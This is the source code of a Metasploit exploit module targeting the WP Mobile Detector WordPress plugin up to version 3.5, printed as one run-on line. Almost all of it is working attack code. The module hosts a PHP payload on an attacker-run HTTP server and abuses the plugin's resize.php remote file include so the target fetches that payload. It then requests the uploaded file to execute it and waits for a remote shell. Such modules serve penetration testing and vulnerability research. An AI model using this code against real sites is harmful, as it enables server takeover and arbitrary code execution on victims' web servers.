## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload', 'Description' => %q{ WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /wp-content/plugins/wp-mobile-detector/resize.php script does contains a remote file include for files not cached by the system already. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'pluginvulnerabilities.com', # Vulnerability disclosure 'Aaditya Purani', # EDB module discovered after writing module 'h00die' # Metasploit module ], 'References' => [ ['WPVDB', '8505'], ['EDB', '39891'], ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/'] ], 'DisclosureDate' => 'May 31 2016', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['wp-mobile-detectory < 3.6', {}]], 'DefaultTarget' => 0, 'Stance' => Msf::Exploit::Stance::Aggressive )) end def check check_plugin_version_from_readme('wp-mobile-detector', '3.5') end def exploit payload_name = rand_text_alphanumeric(10) + '.php' # First check to see if the file is written already, if it is cache wont retrieve it from us res = send_request_cgi( 'global' => true, 'method' => 'GET', 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/' ) if res && !res.body.include?(payload_name) vprint_status("#{payload_name} verified as not written.") else fail_with(Failure::BadConfig,"#{payload_name} already written on system.") end def on_request_uri(cli, _request) print_good('Payload requested on server, sending') send_response(cli, payload.encoded) end print_status('Starting Payload Server') start_service('Path' => "/#{payload_name}") print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}") res = send_request_cgi( 'global' => true, 'method' => 'GET', 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'), 'vars_get' => {'src' => get_uri} ) if res && res.code == 200 print_good('Sleeping 5 seconds for payload upload') register_files_for_cleanup(payload_name) Rex.sleep(5) print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}") send_request_cgi( { 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name), }) # wait for callback, without this we exit too fast and miss our shell Rex.sleep(2) else if res.nil? fail_with(Failure::Unreachable, 'No response from the target') else vprint_error("HTTP Status: #{res.code}") vprint_error("Server returned: #{res.body}") fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') end end end end